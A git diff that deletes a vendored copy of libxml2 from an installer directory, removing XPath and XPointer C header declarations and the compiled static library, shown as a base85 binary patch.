-XMLPUBFUN void XMLCALL - xmlXPathNodeSetRemove (xmlNodeSetPtr cur, - int val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewNodeSetList (xmlNodeSetPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapNodeSet (xmlNodeSetPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapExternal (void *val); - -XMLPUBFUN int XMLCALL xmlXPathEqualValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN int XMLCALL xmlXPathNotEqualValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN int XMLCALL xmlXPathCompareValues(xmlXPathParserContextPtr ctxt, int inf, int strict); -XMLPUBFUN void XMLCALL xmlXPathValueFlipSign(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathAddValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathSubValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathMultValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathDivValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathModValues(xmlXPathParserContextPtr ctxt); - -XMLPUBFUN int XMLCALL xmlXPathIsNodeType(const xmlChar *name); - -/* - * Some of the axis navigation routines. - */ -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextSelf(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextChild(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextDescendant(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextDescendantOrSelf(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextParent(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAncestorOrSelf(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextFollowingSibling(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextFollowing(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextNamespace(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAttribute(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextPreceding(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAncestor(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextPrecedingSibling(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -/* - * The official core of XPath functions. - */ -XMLPUBFUN void XMLCALL xmlXPathLastFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathPositionFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathCountFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathIdFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathLocalNameFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNamespaceURIFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathStringFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathStringLengthFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathConcatFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathContainsFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathStartsWithFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSubstringFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSubstringBeforeFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSubstringAfterFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNormalizeFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathTranslateFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNotFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathTrueFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathFalseFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathLangFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNumberFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSumFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathFloorFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathCeilingFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathRoundFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathBooleanFunction(xmlXPathParserContextPtr ctxt, int nargs); - -/** - * Really internal functions - */ -XMLPUBFUN void XMLCALL xmlXPathNodeSetFreeNs(xmlNsPtr ns); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPATH_ENABLED */ -#endif /* ! __XML_XPATH_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/xpointer.h b/installer/libxml2/include/libxml/xpointer.h deleted file mode 100644 index b99112b..0000000 --- a/installer/libxml2/include/libxml/xpointer.h +++ /dev/null @@ -1,114 +0,0 @@ -/* - * Summary: API to handle XML Pointers - * Description: API to handle XML Pointers - * Base implementation was made accordingly to - * W3C Candidate Recommendation 7 June 2000 - * http://www.w3.org/TR/2000/CR-xptr-20000607 - * - * Added support for the element() scheme described in: - * W3C Proposed Recommendation 13 November 2002 - * http://www.w3.org/TR/2002/PR-xptr-element-20021113/ - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XPTR_H__ -#define __XML_XPTR_H__ - -#include - -#ifdef LIBXML_XPTR_ENABLED - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * A Location Set - */ -typedef struct _xmlLocationSet xmlLocationSet; -typedef xmlLocationSet *xmlLocationSetPtr; -struct _xmlLocationSet { - int locNr; /* number of locations in the set */ - int locMax; /* size of the array as allocated */ - xmlXPathObjectPtr *locTab;/* array of locations */ -}; - -/* - * Handling of location sets. - */ - -XMLPUBFUN xmlLocationSetPtr XMLCALL - xmlXPtrLocationSetCreate (xmlXPathObjectPtr val); -XMLPUBFUN void XMLCALL - xmlXPtrFreeLocationSet (xmlLocationSetPtr obj); -XMLPUBFUN xmlLocationSetPtr XMLCALL - xmlXPtrLocationSetMerge (xmlLocationSetPtr val1, - xmlLocationSetPtr val2); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRange (xmlNodePtr start, - int startindex, - xmlNodePtr end, - int endindex); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangePoints (xmlXPathObjectPtr start, - xmlXPathObjectPtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangeNodePoint (xmlNodePtr start, - xmlXPathObjectPtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangePointNode (xmlXPathObjectPtr start, - xmlNodePtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangeNodes (xmlNodePtr start, - xmlNodePtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewLocationSetNodes (xmlNodePtr start, - xmlNodePtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewLocationSetNodeSet(xmlNodeSetPtr set); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangeNodeObject (xmlNodePtr start, - xmlXPathObjectPtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewCollapsedRange (xmlNodePtr start); -XMLPUBFUN void XMLCALL - xmlXPtrLocationSetAdd (xmlLocationSetPtr cur, - xmlXPathObjectPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrWrapLocationSet (xmlLocationSetPtr val); -XMLPUBFUN void XMLCALL - xmlXPtrLocationSetDel (xmlLocationSetPtr cur, - xmlXPathObjectPtr val); -XMLPUBFUN void XMLCALL - xmlXPtrLocationSetRemove (xmlLocationSetPtr cur, - int val); - -/* - * Functions. - */ -XMLPUBFUN xmlXPathContextPtr XMLCALL - xmlXPtrNewContext (xmlDocPtr doc, - xmlNodePtr here, - xmlNodePtr origin); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrEval (const xmlChar *str, - xmlXPathContextPtr ctx); -XMLPUBFUN void XMLCALL - xmlXPtrRangeToFunction (xmlXPathParserContextPtr ctxt, - int nargs); -XMLPUBFUN xmlNodePtr XMLCALL - xmlXPtrBuildNodeList (xmlXPathObjectPtr obj); -XMLPUBFUN void XMLCALL - xmlXPtrEvalRangePredicate (xmlXPathParserContextPtr ctxt); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPTR_ENABLED */ -#endif /* __XML_XPTR_H__ */ diff --git a/installer/libxml2/lib/libxml2.a b/installer/libxml2/lib/libxml2.a deleted file mode 100644 index ec8a1cd55c84ee44a6ec7ea6800b2be4f60043db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2715444 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 